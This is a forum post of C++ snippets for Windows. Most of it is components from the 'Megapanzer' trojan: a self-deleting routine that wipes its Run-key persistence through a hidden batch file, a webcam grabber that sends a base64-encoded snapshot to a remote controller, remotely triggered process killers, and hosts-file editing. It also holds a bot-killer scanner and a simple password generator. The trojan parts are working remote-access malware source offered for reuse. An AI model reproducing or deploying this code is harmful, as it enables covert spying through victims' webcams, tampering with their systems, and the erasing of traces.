Jump to content
Nytro

C++ Snippets

Recommended Posts

B.o.t Killer by a59

This function searches through all running processes, except black listed ones, and then uses the ReadProcessMemory function to check for specified strings found in common bots. If any of the strings are found in the processes memory the process will be killed and the file deleted. Should be simple to modify for other types of unwanted programs.

/* 
BotKiller
Coded by a59
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 );
void KillBot( PROCESSENTRY32 pe32 );

struct s_Search
{
char* szBot;
char* szString;
};

s_Search sSearch[ ] =
{
{ "VNC Scanning server", "\x52\x46\x42\x20\x30\x30\x33\x2E\x30\x30\x38\x0A" },
{ "RXBot", "[MAIN]" },
{ "RXBot", "[SCAN]" },
{ "RXBot", "[FTP]" },
{ "Unknown", "&echo bye" },
{ NULL, NULL }
};

void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 )
{
char szBigBuffer[ 0x5000 ] = { 0 };
unsigned char Curbuf[ 0x500 ] = { 0 };

HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );

printf( "Scanning PID: %d [ %s ]\nStart Address: 0x%08X End Address: 0x%08X\n\n", pe32.th32ProcessID, pe32.szExeFile, uStartAddr, uEndAddr );

for( unsigned long uCurAddr = uStartAddr; uCurAddr <= uEndAddr; uCurAddr++ )
{
BOOL bRead = ReadProcessMemory( hProcess, (void *)uCurAddr, (void *)&Curbuf, sizeof( Curbuf ), NULL );

if( bRead )
{
int c = 0;

strcat( szBigBuffer, (char *)Curbuf );

while( sSearch[ c ].szString != NULL )
{
if( strstr( szBigBuffer, sSearch[ c ].szString ) )
{
printf( "Found string \"%s\" in \"%s\" server \"%s\"\n\n", sSearch[ c ].szString, pe32.szExeFile, sSearch[ c ].szBot );
KillBot( pe32 );
}

c++;
}

if( sizeof( szBigBuffer ) > 0x150 )
ZeroMemory( szBigBuffer, sizeof( szBigBuffer ) );
}

if( !bRead )
break;
}

CloseHandle( hProcess );
};

void KillBot( PROCESSENTRY32 pe32 )
{
MODULEENTRY32 me32 = { 0 };
HANDLE hPath = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID );
HANDLE hKillProcess;

me32.dwSize = sizeof( me32 );

BOOL bRetval = Module32First( hPath, &me32 );

while( bRetval )
{
if( !strcmp( pe32.szExeFile, me32.szModule ) )
{
SetFileAttributes( me32.szExePath, FILE_ATTRIBUTE_NORMAL );

hKillProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
TerminateProcess( hKillProcess, 0 );

Sleep( 500 );

if( DeleteFile( me32.szExePath ) )
printf( "Terminated and deleted %s\n", me32.szExePath );
}

bRetval = Module32Next( hPath, &me32 );
}

CloseHandle( hKillProcess );
CloseHandle( hPath );
};

int main( )
{
char szFile[ 128 ];
GetModuleFileName( GetModuleHandle( NULL ), szFile, sizeof( szFile ) );

char* szBlockList[ ] = { "explorer.exe", "hidserv.exe", "WINLOGON.EXE", "SERVICES.EXE", szFile };
HANDLE hProcess = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
PROCESSENTRY32 pe32;

pe32.dwSize = sizeof( PROCESSENTRY32 );

BOOL bRetval = Process32First( hProcess, &pe32 );
bool bDoSearch = true;

while( bRetval )
{
Sleep( 250 );

for( int i = 0; i < ( sizeof( szBlockList ) / sizeof( char* ) ); i++ )
{
if( strstr( szBlockList[ i ], pe32.szExeFile ) )
bDoSearch = false;
}

if( bDoSearch )
{
DoSearch( 0x00400000, 0x004FFFFF, pe32 );
DoSearch( 0x00100000 ,0x001FFFFF, pe32 );
}

else
bDoSearch = true;

bRetval = Process32Next( hProcess, &pe32 );
}

CloseHandle( hProcess );

printf( "Done scanning, press ENTER to exit this program.\n" );

getchar( );

return 0;
};

Self Delete

Credit: carrumba

#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>
#include <time.h>
#include "Megapanzer_Definitions.h"

extern char gRealRegistryName[MAX_BUF_SIZE + 1];



int selfDelete()
{
WIN32_FIND_DATA lFileData;
HANDLE lSearchHandle;
char lFilePattern[MAX_BUF_SIZE + 1];
char lTemp[MAX_BUF_SIZE + 1];
char lTempDirectory[MAX_BUF_SIZE + 1];
char lCWD[MAX_BUF_SIZE + 1];
char lBatchFileNameFullPath[MAX_BUF_SIZE + 1];
char lCommand[MAX_BUF_SIZE + 1];
char lProgramName[MAX_BUF_SIZE + 1];

HKEY lRegistryHeaps[] = {HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, NULL};
HKEY lKeyHandle;


long lEnumRet = 0;
DWORD lLength = 100;

time_t lTimeStamp;
int lRetVal = 0;
int lFuncRetVal = 0;
int lCounter = 0;
int lCounter2 = 0;

////
// initialization
////

ZeroMemory(lProgramName, sizeof(lProgramName));
ZeroMemory(lTemp, sizeof(lTemp));
ZeroMemory(lTempDirectory, sizeof(lTempDirectory));
ZeroMemory(lCWD, sizeof(lCWD));
ZeroMemory(lBatchFileNameFullPath, sizeof(lBatchFileNameFullPath));
ZeroMemory(&lTimeStamp, sizeof(lTimeStamp));

GetModuleFileName(NULL, lProgramName, sizeof(lProgramName));
time(&lTimeStamp);

////
// create temporary directory
////

if (GetTempPath(sizeof(lTempDirectory) - 1, lTempDirectory) > 0)
if (lTempDirectory[strlen(lTempDirectory) - 1] != '\\')
strcat(lTempDirectory, "\\");


////
// generate batch file name
////

GetCurrentDirectory(sizeof(lCWD) - 1, lCWD);
if (lCWD[strlen(lCWD) - 1] != '\\')
strcat(lCWD, "\\");

_snprintf(lBatchFileNameFullPath, sizeof(lBatchFileNameFullPath) - 1, "%s%d.bat", lTempDirectory, lTimeStamp);

printToFile(lBatchFileNameFullPath, "@echo off");
printToFile(lBatchFileNameFullPath, ":Repeat");

ZeroMemory(lCommand, sizeof(lCommand));
_snprintf(lCommand, sizeof(lCommand) - 1, "@del /F \"%s\"", lProgramName);
printToFile(lBatchFileNameFullPath, lCommand);

ZeroMemory(lCommand, sizeof(lCommand));
_snprintf(lCommand, sizeof(lCommand) - 1, "if exist \"%s\" goto Repeat", lProgramName);
printToFile(lBatchFileNameFullPath, lCommand);



////
// generate delete entry for registry keys/values
////

for(lCounter = 0; lRegistryHeaps[lCounter] != NULL; lCounter++)
{
if (RegOpenKeyEx(lRegistryHeaps[lCounter], "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &lKeyHandle) == ERROR_SUCCESS)
{
lCounter2 = 0;
ZeroMemory(lTemp, sizeof(lTemp));
lLength = sizeof(lTemp) - 1;


while((lEnumRet = RegEnumValue(lKeyHandle, lCounter2, lTemp, &lLength, NULL, NULL, NULL, NULL)) == ERROR_SUCCESS)
{
if (StrCmpNI(gRealRegistryName, lTemp, sizeof(gRealRegistryName)) == 0)
{
ZeroMemory(lCommand, sizeof(lCommand));
if (lRegistryHeaps[lCounter] == CURRENT_USER)
{
_snprintf (lCommand, sizeof(lCommand) - 1, "@reg delete HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\ /v %s /f",lTemp);
printToFile(lBatchFileNameFullPath, lCommand);
} else if (lRegistryHeaps[lCounter] == LOCAL_MACHINE) {
_snprintf (lCommand, sizeof(lCommand) - 1, "@reg delete HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\ /v %s /f",lTemp);
printToFile(lBatchFileNameFullPath, lCommand);
} // if (lRegistryHeaps[lCou...
} // if (StrCmpNI(gRealRegistryName, lTemp...


lLength = sizeof(lTemp) - 1;
lCounter2++;
ZeroMemory(lTemp, sizeof(lTemp));
} // while((lEnumRet = RegEnumValue(lKeyH...


RegCloseKey(lKeyHandle);
} // if (RegOpenKeyEx(lReg...
} // for(lCounter = 0; lRegistryHeaps[lCoun...




////
// delete Mega Panzer files
////

ZeroMemory(lCommand, sizeof(lCommand));
_snprintf(lCommand, sizeof(lCommand) - 1, "@del /F \"%s\" || move /Y \"%s\" \"%s\"", lBatchFileNameFullPath, lBatchFileNameFullPath, lTempDirectory);
printToFile(lBatchFileNameFullPath, lCommand);


////
// run batch script
////

ShellExecute(NULL, NULL, lBatchFileNameFullPath, NULL, "c:\\", SW_HIDE);
exit(lRetVal);
}




int printToFile(char *pOutputFileName, char* pCommandString)
{
int lRetVal = 0;
HANDLE lFileHandle = INVALID_HANDLE_VALUE;
DWORD lBytesWritten = 0;
char lTemp[MAX_BUF_SIZE + 1];


if ((lFileHandle = CreateFile(pOutputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
{
SetFilePointer(lFileHandle, 0, 0, FILE_END);
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1 , "%s\r\n", pCommandString);

WriteFile(lFileHandle, lTemp, strlen(lTemp), &lBytesWritten, NULL);
CloseHandle(lFileHandle);
}

return(lRetVal);
}

WebCam Capture

Credit: carrumba

#include <stdio.h>
#include <windows.h>
#include <Vfw.h>
#include "Megapanzer_Definitions.h"

extern HWND gWND;

DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter)
{
HWND lWndVideoHandle;
CAPSTATUS lCapStat;
DWORD lRetVal = 0;
char *lBMPFileName = "info.bmp";
char *lJPGFileName = "info.jpg";
char lJPGFileBaseName[MAX_BUF_SIZE + 1];
HANDLE lFileHandle = INVALID_HANDLE_VALUE;
DWORD lJPGFileSize = 0;
char *lPreEncodedData = NULL;
char *lEncodedData = NULL;
DWORD lBytesRead = 0;
char lTemp[MAX_BUF_SIZE + 1];
int lFuncRetVal = 0;
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
SYSTEMTIME lSystemTime;


/*
* initialize values
*/

ZeroMemory(&lCapStat, sizeof(CAPSTATUS));
ZeroMemory(&lSystemTime, sizeof(lSystemTime));
ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));

GetLocalTime(&lSystemTime);
snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);

ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);



/*
* capture webcam frame
*/


Sleep(500);
lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1);
capDriverConnect(lWndVideoHandle, 0);
Sleep(1000);
capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS));
capGrabFrame(lWndVideoHandle);
capEditCopy(lWndVideoHandle);
capFileSaveDIB(lWndVideoHandle, lBMPFileName) ;
capDriverDisconnect(lWndVideoHandle) ;
DestroyWindow(lWndVideoHandle);

convertBMP2JPG(lBMPFileName, lJPGFileName);

if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
{
lJPGFileSize = GetFileSize(lFileHandle, 0);

/*
* encocd created jpg file
*/

if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
{
ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);
CloseHandle(lFileHandle);

if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
{

/*
* transfer picture data to home system
*/

Base64encode(lEncodedData, lPreEncodedData, lBytesRead);

ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);

ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
} // if ((lEncodedData = (char *) He...
} // if ((lPreEncodedData = (char *) HeapAlloc(GetP...
} // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...

ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);


/*
* cleaning up before returning
*/

DeleteFile("info.bmp");
DeleteFile("info.jpg");


return(lRetVal);
}

Kill Process by PID

Credit: carrumba

#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include "Megapanzer_Definitions.h"


DWORD WINAPI killProcessByPID(PVOID pParameter)
{
int lRetVal = 0;
HANDLE lProcessHandle = INVALID_HANDLE_VALUE;
char lTemp[MAX_BUF_SIZE + 1];
char lProcessName[MAX_BUF_SIZE + 1];
int lFuncRetVal = 0;
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
HMODULE lModuleHandle;
DWORD cbNeeded;

ZeroMemory(lProcessName, sizeof(lProcessName));
strcpy(lProcessName, "Unknown");
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<killprocess><msg>Could not kill process \"%s\"</msg></killprocess>", lCommandStructure->sCommandString);


if ((lProcessHandle = OpenProcess(PROCESS_TERMINATE, FALSE, atoi(lCommandStructure->sCommandString))) != INVALID_HANDLE_VALUE)
{
if (EnumProcessModules(lProcessHandle, &lModuleHandle, sizeof(lModuleHandle), &cbNeeded))
GetModuleBaseName(lProcessHandle, lModuleHandle, lProcessName, sizeof(lProcessName) - 1);

if (TerminateProcess(lProcessHandle, (DWORD) -1))
{
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<killprocess><msg>Killed process \"%s\" (pid %s) successfully</msg></killprocess>", lProcessName, lCommandStructure->sCommandString);
}

CloseHandle(lProcessHandle);
}

lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

return(lRetVal);
}

Kill Process By name

Credit: carrumba

#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
#include "Megapanzer_Definitions.h"

DWORD WINAPI killProcessByName(PVOID pParameter)
{
int lRetVal = 0;
int lFuncRetVal = 0;
char lTemp[MAX_BUF_SIZE + 1];
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;

HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;

if (lCommandStructure->sCommandString != NULL)
{
if((hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)
{
lRetVal = 1;
goto END;
}

pe32.dwSize = sizeof(PROCESSENTRY32);

if(!Process32First(hProcessSnap, &pe32))
{
lRetVal = 2;
goto END;
}

do
{
if(!strcmp(pe32.szExeFile, lCommandStructure->sCommandString))
{
hProcess = OpenProcess(PROCESS_TERMINATE,0, pe32.th32ProcessID);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
} while(Process32Next(hProcessSnap,&pe32));
}

END:
if (hProcessSnap != INVALID_HANDLE_VALUE)
CloseHandle(hProcessSnap);

return(lRetVal);
}

Modify hosts file

Credit : carrumba

#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
#include "Megapanzer_Definitions.h"




DWORD WINAPI addHostsEntry(PVOID pParameter)
{
int lRetVal = 0;
int lFuncRetVal = 0;
char lTemp[MAX_BUF_SIZE + 1];
char lTemp2[MAX_BUF_SIZE + 1];
char *lTempPointer = NULL;
DWORD dwWritten = 0;
HANDLE lFileHandle = INVALID_HANDLE_VALUE;
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;


if (lCommandStructure->sCommandString != NULL)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "\r\n%s", lCommandStructure->sCommandString);

if ((lFileHandle = CreateFile(HOSTS_FILE, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
{
SetFilePointer(lFileHandle,0,0,FILE_END);
WriteFile(lFileHandle, lTemp, strlen(lTemp), &dwWritten, NULL);
CloseHandle(lFileHandle);
}
}

return(lRetVal);
}





DWORD WINAPI removeHostsEntry(PVOID pParameter)
{
int lRetVal = 1;
int lFuncRetVal = 0;
char lTemp[MAX_BUF_SIZE + 1];
char lReadBuffer[MAX_BUF_SIZE + 1];
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
FILE *lFileOldHostsHandle = NULL;
FILE *lFileNewHostsHandle = NULL;

if (lCommandStructure != NULL && lCommandStructure->sCommandString != NULL)
{
if ((lFileOldHostsHandle = fopen(HOSTS_FILE, "r")) != NULL)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);

if ((lFileNewHostsHandle = fopen(lTemp, "w")) != NULL)
{
while (!feof(lFileOldHostsHandle))
{
ZeroMemory(lReadBuffer, sizeof(lReadBuffer));

if (fgets(lReadBuffer, sizeof(lReadBuffer) - 1, lFileOldHostsHandle) > 0)
{
if (strstr(lReadBuffer, lCommandStructure->sCommandString) == NULL)
fprintf(lFileNewHostsHandle, lReadBuffer);
else
lRetVal = 0;
}
}
fclose(lFileNewHostsHandle);
}
fclose(lFileOldHostsHandle);
}
}


END:

if (lRetVal == 0)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);
DeleteFile(HOSTS_FILE);
MoveFile(lTemp, HOSTS_FILE);
}

return(lRetVal);
}

Very simple pass gen

/* More simple pass generator; inspired by carb0n passgen code on this forum
Lamecoded by : x.exexe_ // from newbie to newbies
*/

#include <iostream>
#include <time.h>
#include <fstream>

void RndPass(int len, std::string &pesw)
{
// table with chars, can re-define
char c_table[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'};
srand(time(NULL));
for(; len > 0; len--) // save random number (as char)
pesw += c_table[ rand()%(strlen(c_table)-1)]; // to pesw string
}

int main()
{

int len;
std::string passwd = "";
std::cout << "\t\tSimply pesvrd gen by x.exexe_\n" << std::endl;
std::cout << "Enter password lenght (number): ";
std::cin >> len;

RndPass(len,passwd);

std::cout <<"Ur pass is : \n" << passwd << std::endl;
std::cout << "Make internet better!" << std::endl;

// create file stream with append mode
std::ofstream PassFileStream("piss.txt", std::ios::app);

if ( PassFileStream.is_open() ) // if stream open is ok ...
PassFileStream << passwd << "\n\n"; // ... write pass to file

PassFileStream.close(); // close stream

std::cin.get(); // hit any key
return 0;
}

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...